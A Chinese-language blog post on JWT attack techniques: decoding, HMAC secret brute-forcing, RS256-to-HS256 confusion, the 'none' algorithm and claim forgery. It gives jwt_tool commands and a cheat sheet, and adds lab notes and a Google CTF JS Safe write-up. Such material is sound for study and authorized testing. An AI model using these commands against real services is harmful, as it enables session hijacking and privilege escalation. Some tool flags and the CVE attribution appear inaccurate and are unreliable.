JWT攻防实战:混淆、破解与红队利用技术解析

本文深入解析JWT安全攻防技术,涵盖令牌结构解码、混淆技术、HMAC密钥暴力破解、算法混淆攻击、none算法漏洞利用等实战手法,并附有TryHackMe和HackTheBox实战案例,最后提供JWT安全防护最佳实践。文章包含具体工具使用命令和技术实现细节,适合安全研究人员参考。

JWT Warfare: 混淆、破解与红队利用技术

破解、篡改、利用——JWT不仅是令牌,更是红队的游乐场。

什么是JWT?

JWT(JSON Web Token)是一种紧凑的、URL安全的表示双方声明的方​​法,主要用于无状态认证。JWT通常通过Cookie、头部或本地存储传递。

JWT包含3个base64编码的部分:

1
<Header>.<Payload>.<Signature>

示例:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFlbm9zaCIsInJvbGUiOiJhZG1pbiJ9.wBwbm_z1gdu9OtUsAoOhPtUp9dJYWpA7U2oPeM4osbQj

结构:

  • Header:指定算法(如HS256)
  • Payload:包含声明如用户名、角色等
  • Signature:确保头部和载荷的完整性

JWT常用于API认证和会话管理。服务器在登录后颁发令牌,客户端在后续请求中包含该令牌。

JWT混淆技术

虽然JWT可通过base64读取,但攻击者或懒惰的开发人员有时会为了复杂性或通过隐蔽性实现安全而进行混淆。

为何混淆?

  • 绕过安全控制
  • 隐藏内部声明(如role=admin)
  • 防止简单检查

常见混淆技术:

1
2
3
4
5
6
7
8
# 解码示例
echo '<base64>' | base64 -d  # 仅适用于头部/载荷

# 或使用jwt_tool等工具
python jwt_tool.py <token> -d

# 旧版本中:
python3 jwt_tool.py <token> -d

JWT破解技术

根据JWT的实现方式,有多种破解方法。

HMAC密钥暴力破解(HS256)

如果JWT使用弱密钥签名:

1
python jwt_tool.py <token> -C -S <wordlist>

可能发现的密钥包括:

  • admin
  • password123
  • jwtsecret

仅当算法为对称(HS256)且密钥可猜测时有效。

算法混淆:RS256转HS256

如果JWT使用RS256(非对称)签名,但服务器未正确验证算法,可将其切换为HS256并使用公钥签名:

1
python jwt_tool.py <token> -X -pk public.pem -A HS256

public.pem文件通常以PEM格式存储公钥,CVE-2018-0114使此技术闻名。

none算法攻击

早期JWT库允许令牌使用{"alg":"none"},然后完全忽略签名。如果服务器接受:

1
python jwt_tool.py <token> -S none

移除签名后重放,即可"登录"。

声明伪造

手动将payload改为"admin": true,使用破解的密钥重新签名:

1
python jwt_tool.py <token> -E -pc 'cracked_secret' -A HS256

JWT提取与利用的挑战

存储在Cookie中时

  • HTTP请求中难以查看
  • 需要BurpSuite拦截提取
  • 脚本中需要cookie jar感知
1
curl -b "auth=<jwt>" http://target.com/dashboard

存储在LocalStorage时

  • 需要XSS从浏览器窃取
  • 无法通过仅服务器端枚举访问

JWT签名强度高时

  • RS256配合密钥轮换
  • HMAC密钥无法破解

JWT有效期短时

  • 短过期时间=难以重放
  • 需要在有效期内拦截

实战实验室(TryHackMe、HTB、自建实验室)

TryHackMe: JWT房间

  • 教授alg:none、弱密钥破解
  • 修改payload提升权限
  • 奖励:使用BurpSuite的JWT编辑器扩展

HTB: “JWT Secrets"挑战

  • 在JavaScript中找到泄露的密钥
  • 修改令牌并劫持管理员会话

奖励:自建实验室

  • 在Node.js中使用jsonwebtoken
  • 设置弱密钥,测试none绕过

防御:如何真正保护JWT

始终使用受信任的库在服务器端验证令牌。

Google CTF 2025示例——破解JS Safe 6.0

虽不直接关联JWT,但类似武器化JWT混淆谜题。

前端指令:

1
2
3
// 打开开发者工具输入:
// anti(debug);  // 行业领先的反调试!
// unlock("password"); // → alert(secret)

但这只是诱饵。

挑战机制:

  • 原型污染
  • 破坏开发者工具的伪anti(debug)
  • check()函数通过确定性PRNG验证密码
  • 使用ROT47解码字符池
  • 利用Function.call动态演化
  • 基于shift()的比较器流式处理字符

攻击策略: 忽略诱饵,反编译JavaScript逻辑,识别核心PRNG逻辑:

1
j = ((i || 1) * 16807 + step) % 2147483647;

用ROT47恢复字符池:

1
pool = rot47("?o>`Wn0o0U0N?05o0ps}q0|mt`ne`us&400_pn0ss_mph_0`5")

模拟密钥流:提取字符,使用PRNG+移位索引比较,过滤结果匹配CTF格式:CTF{[0-9a-zA-Z_@!?-]+}

最终结果:unlock("CTF{redacted}");

核心洞察: 这并非暴力破解或头部攻击,而是融合密码结构、混淆和开发者工具误导的心理谜题。

TL;DR速查表

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# 解码JWT部分
jwt_tool.py <token> -d

# 破解密钥
jwt_tool.py <token> -C -S rockyou.txt

# 尝试'none'算法
jwt_tool.py <token> -S none

# 修改并重新签名
jwt_tool.py <token> -E -pc 'secret' -A HS256
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计